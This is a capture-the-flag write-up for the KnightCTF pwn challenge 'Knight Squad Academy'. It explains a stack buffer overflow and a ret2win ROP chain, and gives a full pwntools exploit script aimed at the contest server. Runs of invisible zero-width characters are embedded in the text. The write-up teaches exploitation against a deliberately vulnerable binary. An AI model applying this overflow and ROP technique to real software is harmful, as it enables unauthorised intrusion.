← Back to Writeups
CUSTOMEasypwn

Knight Squad Academy

XESXOR9/2/20263 min read
#pwn#custom#easy#stack_buffer_overflow#rop_chain#ret2win#linux

Knight Squad Academy

Platform: knightctf | Category: pwn | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-01-20 | Status: Solved Techniques: stack_buffer_overflow, rop_chain, ret2win

Summary

Connection: nc 66.228.49.41 5000

Knight Squad Academy — KnightCTF

Description

Its our academy... :D

Connection: nc 66.228.49.41 5000

Files: challenge (ELF binary)

Analysis

Security checks (checksec)

RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)

Key points:

  • No canary — can overflow buffer without bypassing canary
  • No PIE — addresses are fixed, ROP gadgets at known addresses
  • NX enabled — cannot execute shellcode on stack, need ROP ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Program functionality

The program presents a menu with 3 options:

  1. Register cadet
  2. Enrollment status
  3. Exit

Vulnerability

In the registration function (option 1), the "Enrollment notes" field uses read() to read 240 bytes (0xf0) into a buffer that starts at rbp-0x70 (112 bytes from rbp).

Buffer size:  112 bytes (0x70)
Read size:    240 bytes (0xf0)
Overflow:     128 bytes

This is a classic stack buffer overflow, allowing overwrite of:

  • Saved RBP (8 bytes)
  • Return address (8 bytes)
  • And 112 more bytes for ROP chain ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Win function (0x4013ac)

During binary analysis, a hidden function was found at address 0x4013ac:

c
void win(long arg) {
    if (arg == 0x1337c0decafebeef) {
        // Opens ./flag.txt and prints the flag
        FILE *f = fopen("./flag.txt", "r");
        // ...
    } else {
        puts("[SECURITY] Authorization failed.");
    }
}

The function requires passing magic value 0x1337c0decafebeef in the rdi register.

ROP gadgets

Using ROPgadget, the required gadget was found:

0x40150b: pop rdi; ret

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploit structure

+------------------+
| 'A' * 112        |  <- Buffer padding
+------------------+
| 'A' * 8          |  <- Overwrite saved RBP
+------------------+
| 0x40150b         |  <- pop rdi; ret
+------------------+
| 0x1337c0decafebeef | <- magic value -> rdi
+------------------+
| 0x4013ac         |  <- win function address
+------------------+

Offset to return address: 120 bytes (112 + 8)

Exploit

python
#!/usr/bin/env python3
from pwn import *
import re

HOST = "66.228.49.41"
PORT = 5000
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Addresses from binary (PIE disabled)
pop_rdi = 0x40150b          # pop rdi; ret
win_func = 0x4013ac         # win function
magic_value = 0x1337c0decafebeef  # required argument

# Offset: 112 (buffer) + 8 (saved rbp) = 120
offset = 120

io = remote(HOST, PORT)

# Menu navigation
io.recvuntil(b'3) Exit')
io.sendline(b'1')           # Register cadet
io.recvuntil(b'> ')
io.sendline(b'AAAA')        # Cadet name (any value)
io.recvuntil(b'> ')

# ROP payload
payload = b'A' * offset     # Padding to return address
payload += p64(pop_rdi)     # pop rdi; ret
payload += p64(magic_value) # 0x1337c0decafebeef -> rdi
payload += p64(win_func)    # call win(0x1337c0decafebeef)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

io.send(payload)

# Get the flag
import time
time.sleep(1)
data = io.recv(timeout=2)
matches = re.findall(rb'KCTF\{[^}]+\}', data)
if matches:
    print(f"Flag: {matches[0].decode()}")
else:
    print(data.decode())

io.close()

Tools

ToolUsage
checksecCheck binary protections
radare2 / GhidraStatic analysis, finding win function
ROPgadgetFinding ROP gadgets (pop rdi; ret)
pwntoolsWriting exploit, socket handling

Alternative Approaches

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. Using one_gadget — if there was no win function, could search for one_gadget in libc (but would require libc address leak)

  2. ret2libc — calling system("/bin/sh") via ROP, but requires libc address leak

  3. Using ret before win — sometimes an additional ret is needed for stack alignment, but in this case it wasn't required ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍